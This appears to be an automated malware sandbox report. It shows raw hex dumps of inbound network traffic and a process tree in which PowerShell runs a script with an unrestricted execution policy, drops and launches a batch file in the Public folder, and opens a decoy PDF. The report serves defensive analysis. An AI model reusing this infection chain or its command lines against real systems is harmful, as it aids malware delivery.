2023-06-01 10:14:23 UTC	242	IN	Data Raw: 7b d9 8a f1 a3 e6 7e f8 77 0e 79 87 74 3e 65 8d 44 bc 6b 7e 50 a6 4d ac ae b6 d6 4c 64 86 36 c8 29 de 7e de 3f 93 ac 46 83 ff 79 89 cb 9e cf 70 c5 7e f8 94 4a 01 59 b6 9c e8 cc b8 98 58 b7 3c 86 c5 b4 60 af 02 fa a6 6f b0 48 d4 d9 9a c5 16 30 e1 90 08 1e 15 f5 f5 9c c6 0e f6 7a 9a df f2 21 dc af ad 28 45 31 f8 a1 35 3a f4 be 63 e6 bc 84 4f d3 36 9c c4 19 d6 ea f9 90 c5 df 4c 80 75 8c f1 66 0c 58 64 d8 77 18 ff 33 60 07 d9 3c a2 2c 56 18 f1 a6 a1 b7 77 b5 f5 d7 3d 83 30 8a 04 f4 63 d7 5d bb cf 9d 4b 81 30 53 8c 52 d8 96 99 90 cb d3 97 3e 6b eb 82 ee b7 3d 12 50 b8 d2 38 4a 98 b7 e7 d4 a9 e0 7e 99 f7 f2 36 2e 2d 5c 1a f7 0c f7 ed c2 46 e4 fa 55 01 dd b2 ae e3 6b 19 46 67 3d 81 ca bb 7d ed 79 0c b2 69 d7 c1 0c 19 14 10 af ea 14 5c 34 5c ff 6f 08 ff 33 00 6e Data Ascii: {~wyt>eDk~PMLd6)~?Fyp~JYX<`oH0z!(E15:cO6LufXdw3`<,Vw=0c]K0SR>k=P8J~6.-\FUkFg=}yi\4\o3n
2023-06-01 10:14:23 UTC	250	IN	Data Raw: f8 fc c3 29 08 48 ec 83 78 9d 4d 5f 44 8e d1 c6 a3 2a 5f ca 58 d7 d8 bf 3e 87 10 d3 b2 53 b0 45 0c fd a5 6d 13 2c c7 52 b6 43 18 31 2d 1f f2 e9 33 26 ce 57 9a a6 58 4a 63 a9 73 bd 9c b9 a2 38 25 d3 43 ed 34 9f 4d 6f e5 53 4a 28 9c ff 37 07 c6 c1 26 9b e7 74 6b a8 b8 a4 6a e1 2c ee 61 16 76 1d 81 82 2b 11 d4 d9 7f 00 40 c4 23 d1 c3 d2 f6 02 e5 b8 11 8a 2d 7c 69 82 bd 33 17 7d e0 eb ca 1a f2 0f 82 81 79 d0 af 23 4b 7b d0 9d 14 87 c3 b9 85 ad b3 b5 5e 57 2a 10 f9 6f 08 02 f6 5c 99 5b 2e 47 3d b3 12 4a fc c8 ab 32 02 be 14 a2 26 66 e7 8c 27 8c 7a 1a df 83 4f f6 b8 be ed d6 be 2e bf 9c b7 9e c4 75 dc 19 14 69 3b 67 c4 99 97 09 91 b8 16 5b 79 c1 da 31 bd 0c ec dc 0e 91 e1 64 e5 23 65 71 b2 3a f4 0d d9 ea 2e e4 7d b8 d7 27 0e 11 b4 bf 76 fc 6a bb 9f 8e 15 eb aa Data Ascii: )HxM_D_X>SEm,RC1-3&WXJcs8%C4MoSJ(7&tkj,av+@#-\|i3}y#K{^Wo\[.G=J2&f'zO.ui;g[y1d#eq:.}'vj
2023-06-01 10:14:23 UTC	258	IN	Data Raw: 10 bb d1 c1 48 91 a8 c5 03 2d fa 0b f8 cf ba 9c 0e 94 7f 87 e0 cc 34 f4 c1 f3 8c c2 09 9b 82 5a 52 fe 18 91 0c dd a5 ac eb bf 9d cc 4a 20 3f 67 3a a5 71 c2 11 7b de 7d 94 f7 81 51 6e 90 77 b8 7c 80 c7 27 5f af bc f8 a4 46 84 95 5c 70 3c f1 a9 ab 22 20 90 a2 1e 02 f0 e5 c9 93 be 4b 31 ba 25 43 31 5a a5 b2 15 d6 c5 bc 1b 88 55 92 3a a8 8c 23 c2 0f 00 3d 6e 77 9e 01 21 d3 cf 02 2a f5 a6 02 8b d0 65 d6 9a 3d ca 12 30 c3 1b 05 a5 9d a2 45 54 7a 9b 58 fc bd 52 a1 5c 99 3e 38 b9 96 f0 9b c9 47 8d ef 9d 21 f9 7e 36 59 8d e8 1f b3 90 de 76 f6 b8 6d a6 c6 6a e1 0f ee 3c 59 93 4d ca 79 90 1c 1e e0 80 b7 3e 24 23 d1 bd 74 13 40 00 be fa e7 a7 94 67 c7 d2 42 56 aa ee c0 fa f6 e7 a5 5a 35 47 18 19 d0 ae 11 bf 75 78 00 56 de 0b 40 88 81 01 62 ff 4c 1d 45 9f b1 58 44 d4 Data Ascii: H-4ZRJ ?g:q{}Qnw\|'_F\p<" K1%C1ZU:#=nw!*e=0ETzXR\>8G!~6Yvmj<YMy>$#t@gBVZ5GuxV@bLEXD
2023-06-01 10:14:23 UTC	265	IN	Data Raw: 95 88 ff 63 a6 c3 a0 2e 7f f8 03 06 15 9d 98 cf b9 9f 48 97 c5 0a 92 3b 30 71 8c 5c 2e 30 9f b6 4d fe 46 a7 94 46 11 f4 2f 30 41 fc cd c8 64 a6 4d b5 f9 e0 dd 7b b2 65 5b a7 ca 7e dc 4b 2b d7 14 63 c2 59 fd 80 4d 48 89 88 bd f8 c0 d5 86 ef 43 1c 13 f5 c2 25 6d 94 c4 99 45 87 b6 09 1e d6 d7 7c 18 31 f8 0e 3f 36 62 0b 87 29 dc 45 43 9e 26 74 40 66 72 9a c8 28 ff 77 3f 33 a1 7a 5d e9 ab 91 b3 11 5f 3c b8 30 61 e0 8f 18 95 82 0a 7d af 64 b8 dc 24 33 d0 11 9b 9f f3 70 a4 dc 71 14 b6 a3 20 07 26 74 22 27 ca 05 3e b2 92 13 86 33 f9 81 55 ed f6 6e cf 96 1a 8a 28 d9 95 7a 2c 61 ff f8 aa e3 9f 70 27 29 58 2e d1 b5 d4 6b b5 fd fe 37 ef 0d 38 91 47 37 5f da 0a d7 c1 5c f7 49 b4 8e d1 66 4b ed ac 08 9e f0 fa bd 4b 96 b2 72 d6 eb 78 ae ed f4 f2 83 65 4e 56 5a 92 2e e6 Data Ascii: c.H;0q\.0MFF/0AdM{e[~K+cYMHC%mE\|1?6b)EC&t@fr(w?3z]_<0a}d$3pq &t"'>3Un(z,ap')X.k78G7_\IfKKrxeNVZ.
2023-06-01 10:14:23 UTC	273	IN	Data Raw: 0a fd 19 3a 6b 74 2f 05 bd b2 a0 f1 ac 41 cb 98 11 58 f3 2f cd 20 13 f2 df 0b f8 8d 1b 98 18 b8 fa 7f cc 2f b9 a9 87 44 67 9c 34 6d 2f 63 c6 4d d7 5b 1b 57 98 72 21 4b 58 cb 0f 28 4d cd 6d e9 74 aa a3 3b 91 f8 65 fc aa 0e 54 8a 2a 21 a2 14 17 d6 86 da 7c 6c e8 94 9a 40 d1 b1 b5 51 e1 3c d3 96 74 3e ba 03 66 4e b3 fc 95 e1 b0 c4 a9 87 e5 f9 a5 df 05 2d e7 1e 5f e8 dd a7 a9 00 39 38 da 19 9f 31 01 93 0a 77 1a d5 4e d5 47 8b 1f de 40 79 b7 ad e7 25 1b ba 80 30 e1 4b d3 6a f0 d6 c0 6b 5a 33 42 34 ed 73 92 a0 1b ee d1 2f a8 f8 4d fb b2 ee 10 58 af b5 8a d6 df 73 99 a2 e3 6b b7 50 82 c2 68 e0 36 92 ec 8d ef f7 0f 7e 76 a2 a1 37 eb a0 13 f2 f8 60 a2 7d 10 16 7c 2e 05 be 4c eb b9 47 d5 da 95 cc 68 c3 d4 f5 36 61 b4 23 8c f1 43 6b ae 80 05 67 e0 8c 6e 29 45 1a b6 Data Ascii: :kt/AX/ /Dg4m/cM[Wr!KX(Mmt;eT*!\|l@Q<t>fN-_981wNG@y%0KjkZ3B4s/MXskPh6~v7`}\|.LGh6a#Ckgn)E
2023-06-01 10:14:23 UTC	281	IN	Data Raw: f9 9c 33 61 b2 bd b6 aa 7c 46 6f 7a d7 82 95 5e 27 b3 f1 d6 4f 42 27 94 ca ae 4a a6 e4 9f 74 7e b7 47 91 c8 4c 12 d7 9e 7b 77 f0 8f 91 d0 9a dc 8e 61 c4 11 ef 9a 7c c5 58 cd d8 e4 2e 08 13 63 fe e7 ef 3e f1 82 c1 a6 74 b2 50 cf cf 97 df 97 2b de f6 13 ab 23 ec 92 19 c4 2a 82 c1 be 5a 29 fc 92 51 5e 28 fc 79 fb 44 83 b8 b8 35 fe d9 e7 f6 2d 1f 27 07 38 9b 00 dc c9 3a cb bd 64 e0 33 cc 28 18 0a db 00 1a 8d 91 32 a0 6f a3 7a 69 32 d4 f2 50 5d ce f6 17 a3 b3 b9 e9 39 3e 23 5a 3e a8 4b 9f 02 8f be b7 5f 59 4a 97 20 51 e3 94 49 99 b5 03 2d 18 45 ee 35 41 3d 45 0c 80 32 c4 51 0c 95 21 f5 61 e9 cd f2 11 7b 55 71 ed 0c 00 8d f6 2e a0 29 88 a5 e8 96 b1 17 25 a2 25 02 9a a9 75 ff 41 9a bb 5c 9b 5d 2a 5d a9 bd 7e 2f 26 fe c8 32 9d 3f 89 70 e6 5e f0 ec 9d e0 a9 44 10 Data Ascii: 3a\|Foz^'OB'Jt~GL{wa\|X.c>tP+#Z)Q^(yD5-'8:d3(2ozi2P]9>#Z>K_YJ QI-E5A=E2Q!a{Uq.)%%uA\]]~/&2?p^D
2023-06-01 10:14:23 UTC	289	IN	Data Raw: f6 08 a7 ee 45 10 70 3b 2f cb 29 d6 9e a2 d6 32 65 70 38 88 e0 d5 55 85 37 a6 86 68 0f 40 40 16 49 af 87 41 c6 55 ae 68 b3 5c 0a 70 64 48 92 70 fe bc ae 05 b3 cd 13 48 ef 88 a8 44 97 65 61 7e 29 c6 6d b0 35 f2 b6 59 cf 0f ae 0e 80 d3 cf ef f5 ea 03 93 2a ba 5a 25 35 d7 08 65 9f aa d5 b9 60 da b3 2d 55 2d a8 ab 5b 33 cf 47 83 ca b2 b2 0d 01 d5 17 f3 f4 38 16 eb 93 88 5a a7 00 06 a6 47 55 65 b3 d3 a8 b5 7a a3 8b c2 00 98 12 ac f8 0b f5 ff b4 ce 27 71 c5 75 44 9f ed b5 62 34 58 00 3f da f5 d6 fc e3 75 42 38 ea 16 4a 9b 86 27 2b 09 ac d3 c1 8f 4e 33 fb e2 1c 1e 94 08 2f 87 0e a6 59 a6 e9 a2 5b 4b ec 70 4e 2a 14 04 c4 f3 dd 30 87 02 a0 19 76 43 1f f2 17 8d 7e d1 25 1c 0e 85 af 3f ab 85 e7 04 31 aa 10 a9 69 6e 74 7d 10 5d 84 b4 73 f9 6e c5 26 63 79 5a cb 86 b4 Data Ascii: Ep;/)2ep8U7h@@IAUh\pdHpHDea~)m5YZ%5e`-U-[3G8ZGUez'quDb4X?uB8J'+N3/Y[KpN0vC~%?1int}]sn&cyZ
2023-06-01 10:14:23 UTC	297	IN	Data Raw: 83 65 9f 0a db b0 af f7 4b 23 87 b6 34 88 f1 9f ca c8 c8 46 8e 09 e0 4b 47 06 68 98 a1 d4 ed 0d ed e0 45 66 ba 1c 3f 70 0f f6 8e a9 42 4a 02 35 2a bc ad 3e 4a 94 7f 35 ce 36 1a f6 2a ed af 21 06 8b 7a 96 b7 66 fe 3e 0d b9 94 15 8d f1 34 2b ea 9b 2c 5d de 9c 3c 9c 30 ed 28 3f 31 af 9c 11 62 a5 05 fc b0 06 f7 aa b0 5f c9 b9 30 88 be b4 9f 54 82 85 a6 a6 e7 e0 bf 3a 77 d0 38 f5 56 2a 09 fd a8 70 27 99 fe 6b ed 7d c6 ea 6a ca 78 57 92 89 c3 55 25 3e 96 b3 b5 08 55 17 fb 6f db 8a c8 d8 e2 3a f1 3d 98 9b 05 9b 10 18 34 31 8d 51 d8 86 3c 63 0e 67 f8 24 41 d1 0f b9 45 d1 56 03 66 a4 a1 13 fa 34 30 e0 c9 d7 65 2b 00 75 f4 c4 34 77 17 50 99 34 25 93 f3 7f 21 de 61 c2 4c 65 df 93 da 61 24 d1 9e 85 de ca b0 75 1d b6 fd d8 58 f1 1f 82 c5 db 90 02 d5 fe ea 32 4e c0 b3 Data Ascii: eK#4FKGhEf?pBJ5>J56!zf>4+,]<0(?1b_0T:w8V*p'k}jxWU%>Uo:=41Q<cg$AEVf40e+u4wP4%!aLea$uX2N
2023-06-01 10:14:23 UTC	304	IN	Data Raw: c5 bd 5d ea 80 6b d7 1b 4c 6a c4 95 03 ec ed ee 50 8a 01 89 94 1c d8 b9 26 0a ce de bc 07 ff 21 37 0d 5f c0 7b 5e 01 f9 6f 2e 21 a3 c5 ce 56 76 85 ab 0f 88 2d 86 f3 af cd e3 5a 85 e2 22 2a 8d b3 5b 9d 0d 17 50 6a ef a8 f4 2d e6 d8 f9 53 e8 e3 ea 68 19 fb a6 28 d1 99 3b 33 59 2c 47 1a c2 72 f7 41 de 8a 2c 37 18 44 c2 bb 48 bb ed cb 84 75 e5 34 68 be c3 a4 04 18 25 77 f6 dd 61 1d 49 68 ff 5e 5e 2d 4e 93 32 92 8e ec 8b 06 96 a8 1e 28 eb 74 c7 ab 91 c0 98 e1 2d a8 a4 5c d3 68 0c 0e b7 c0 24 63 99 ee ac 86 a1 01 fa ff 2b a0 9f d0 b4 7b 63 b6 31 1f da 4b df 72 30 99 28 ec 40 cd 06 2e 06 a7 e8 e1 72 98 be ae 4a 7a 01 3b 61 89 ae 5b 2b c2 48 ce 65 fa d4 75 cf 06 c3 a0 8f e3 c7 8a 53 cc 83 98 c2 e1 c9 f5 63 d5 ee cd 43 4e 2e a4 de 0a 04 4c f6 a2 8a f6 5c 1e 4c a8 Data Ascii: ]kLjP&!7_{^o.!Vv-Z"*[Pj-Sh(;3Y,GrA,7DHu4h%waIh^^-N2(t-\h$c+{c1Kr0(@.rJz;a[+HeuScCN.L\L
2023-06-01 10:14:23 UTC	312	IN	Data Raw: 83 f4 7b ba 44 80 61 bf 29 0b 6e 96 8b f5 23 6d 98 58 cc dd 61 9c df b1 d9 a0 7c 0f 39 6f 01 82 10 09 bd a4 f9 ec 9d 26 fc f5 07 1e 2e eb c4 d2 83 0c 89 8f 7d e8 f0 41 ef 60 ef d8 9f 9d 75 a4 37 04 44 dd 08 ee 8c 5e ed 3a 7f 72 13 aa 2f 2a b2 5c f3 d8 f1 26 69 11 72 d3 d6 db 28 56 f4 b3 2f cb 25 83 90 dc ae 45 6e 1f 6d 10 b3 ae 70 2b e0 7c 8d 99 f0 db 2f ae 2a 78 20 e8 ae 98 2c b7 14 26 a6 64 97 fd 6b 4c fd 33 d6 83 42 62 45 5b 7c 08 a6 1c 66 a3 d3 4a 79 d3 a6 08 57 32 63 08 c9 10 7f 1f a1 e7 3a e5 a2 16 8f 64 34 be cd 1a 13 e0 e6 69 4d ca 48 cd ed 3f 17 00 e3 77 70 00 e3 08 c1 c5 ad 0f fb a1 82 fa d8 7d 24 36 4c 53 42 e5 22 28 0a b1 66 a6 d6 13 3f 5f 07 d5 18 74 b3 90 69 c9 f5 bb 53 8f d8 fe c9 54 56 ff a4 5f e6 93 e7 99 07 f6 5f 5b 7f 31 47 1c ac 93 7c Data Ascii: {Da)n#mXa\|9o&.}A`u7D^:r/\&ir(V/%Enmp+\|/x ,&dkL3BbE[\|fJyW2c:d4iMH?wp}$6LSB"(f?_tiSTV__[1G\|
2023-06-01 10:14:23 UTC	320	IN	Data Raw: 9d a2 e0 69 93 0f 84 c4 d3 8a 0a 05 0a bc dd 19 12 17 90 36 9d 3d dd 1d ad 0a 66 0c 8e db 7c fc 08 17 85 2a c5 ec ea 7e 28 e2 e5 dd 88 8d 80 77 77 42 94 d8 85 cb 1a a7 21 65 73 51 cf 76 d9 58 6f ef 21 93 58 82 d5 87 6c a7 38 db b1 c2 20 80 a5 5a e6 a8 9b 31 e8 bf ea ae 77 c3 69 07 d0 dd bc 2c 6e 19 1d 1a 6f d3 f6 e9 a2 99 89 8d e3 dc a6 2d 7c d5 b3 69 3b 08 95 ba 16 7e de ce 93 76 1e 05 76 3e ec cf fc 60 1f 06 1b d7 5b 18 4a 67 31 ec f0 d5 b6 a1 00 d0 14 6a 3d 56 dc c8 1c 0c 45 dd ae 32 71 42 a5 c7 30 2b c3 8f e1 86 90 42 fa 63 03 a9 9b 34 f7 52 90 eb f0 05 8a 41 67 10 83 8e 07 3e 58 76 5c 3f 6f b1 a2 53 f8 b9 e9 81 97 80 f7 3e ab e9 8c 1a 02 ce e8 f1 2f 10 f5 ac 67 05 59 95 46 57 af 86 83 11 e4 f9 a4 37 b4 1b f9 b0 eb 9a 06 c7 af d4 34 f0 ae a3 84 b9 e7 Data Ascii: i6=f\|*~(wwB!esQvXo!Xl8 Z1wi,no-\|i;~vv>`[Jg1j=VE2qB0+Bc4RAg>Xv\?oS>/gYFW74
2023-06-01 10:14:23 UTC	328	IN	Data Raw: 93 cb 1d f6 87 3b 47 9a b6 de 49 bc 4f 9e e0 31 f2 b6 40 cd 7c 13 5c 69 dc 21 3d d2 1a 81 8f db 8d 57 89 b9 89 3e db 1f 9b f4 7a 19 93 de b0 03 bd e3 ee 03 09 86 87 d2 25 8d 90 51 0e 47 b3 a1 55 1c e7 d9 be a1 12 5f 99 91 d7 0f 43 95 96 33 a0 4d c9 9d f9 98 db 9d 7c cd 3b 80 b6 50 87 e2 27 59 cf ac dc c4 80 bb 95 c5 e3 b2 d1 2b 2c b1 e0 be 38 02 bc 7c 07 1d 8f 04 af d8 6f fa 7b 42 bb f8 9b 73 5e d8 44 a8 21 57 5a 7d 5c d1 3c 35 4a a4 f9 19 bd 2b ef af 3c d8 58 3e b7 16 ad 9b 41 3b 2f 80 19 81 bd 76 b9 14 87 c3 95 37 b2 6d cd c4 25 ba 56 0e df 58 78 26 96 6c 52 bd bd 2b 98 d3 7b 51 96 0c 2d 5e 86 b3 5b f0 ef c8 42 25 6b 91 53 de 9a f3 67 17 bb 7f 64 ec e4 16 c6 38 83 69 df 81 2a 59 15 28 58 c2 13 da 87 77 be 41 4f f4 f2 1c fb bb 1b c2 37 24 f6 89 ed 65 d5 Data Ascii: ;GIO1@\|\i!=W>z%QGU_C3M\|;P'Y+,8\|o{Bs^D!WZ}\<5J+<X>A;/v7m%VXx&lR+{Q-^[B%kSgd8i*Y(XwAO7$e
2023-06-01 10:14:23 UTC	336	IN	Data Raw: ad e7 00 41 12 bd 7c 50 6d 6b 1e 11 31 27 9e 3c 43 2b 1f 77 2a 0d 67 fb cc 09 f7 57 34 1c 4d 75 8b d4 36 52 0d 1e e3 99 cf 29 22 71 bb e2 56 ff e8 7c 16 b6 5c 01 00 80 5d 00 00 80 00 00 1e 0f cb 87 11 d8 ce 66 91 0f 83 1e ca fd 7b 33 d4 7f e9 b7 da 28 31 76 25 66 20 4d 2a 09 6d 6a f7 29 70 38 30 e7 cc 1d 56 17 b0 33 ba 47 46 e1 ec 9d a0 05 65 42 a2 ab b4 e0 13 ea 1b b9 7e c0 33 7e 58 39 6c 7e 61 d3 13 6d 5b 6f a8 d9 37 fd d3 6c c9 23 ba 79 3a 29 2e da 5c 1b 28 3b c5 84 24 cc 97 01 21 da c9 ff 31 41 87 2a e3 b9 92 5b 94 c7 21 85 38 7d f2 f2 e9 b5 52 97 ba 2a 10 a5 f0 45 63 ac 61 92 7f 8d db be 69 26 dc 22 03 c6 76 60 04 8f 8b f7 52 4e ce 96 33 9f a4 55 9b 34 49 5c d0 20 72 4d b7 1e e6 22 1c e5 b1 ae 97 fe 5c 80 89 07 b9 2d 80 c1 45 e6 d1 75 63 4c 68 f8 96 Data Ascii: A\|Pmk1'<C+wgW4Mu6R)"qV\|\]f{3(1v%f Mmj)p80V3GFeB~3~X9l~am[o7l#y:).\(;$!1A[!8}REcai&"v`RN3U4I\ rM"\-EucLh

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: powershell.exePID: 5768, Parent PID: 3324

General

Target ID:	0
Start time:	12:14:18
Start date:	01/06/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\zk.ps1
Imagebase:	0x7ff7fbaf0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exePID: 5676, Parent PID: 5768

General

Target ID:	1
Start time:	12:14:18
Start date:	01/06/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: wusb.batPID: 6848, Parent PID: 5768

General

Target ID:	2
Start time:	12:14:24
Start date:	01/06/2023
Path:	C:\Users\Public\wusb.bat
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\wusb.bat"
Imagebase:	0x400000
File size:	344681 bytes
MD5 hash:	9DCA43CB15D97693D2DE73683804C5C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: AcroRd32.exePID: 4728, Parent PID: 5768

General

Target ID:	3
Start time:	12:14:28
Start date:	01/06/2023
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
Wow64 process (32bit):	true
Commandline:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf
Imagebase:	0x880000
File size:	2571312 bytes
MD5 hash:	B969CF0C7B2C443A99034881E8C8740A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: RdrCEF.exePID: 6940, Parent PID: 4728

General

Target ID:	6
Start time:	12:14:36
Start date:	01/06/2023
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
Imagebase:	0xbe0000
File size:	9475120 bytes
MD5 hash:	9AEBA3BACD721484391D15478A4080C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high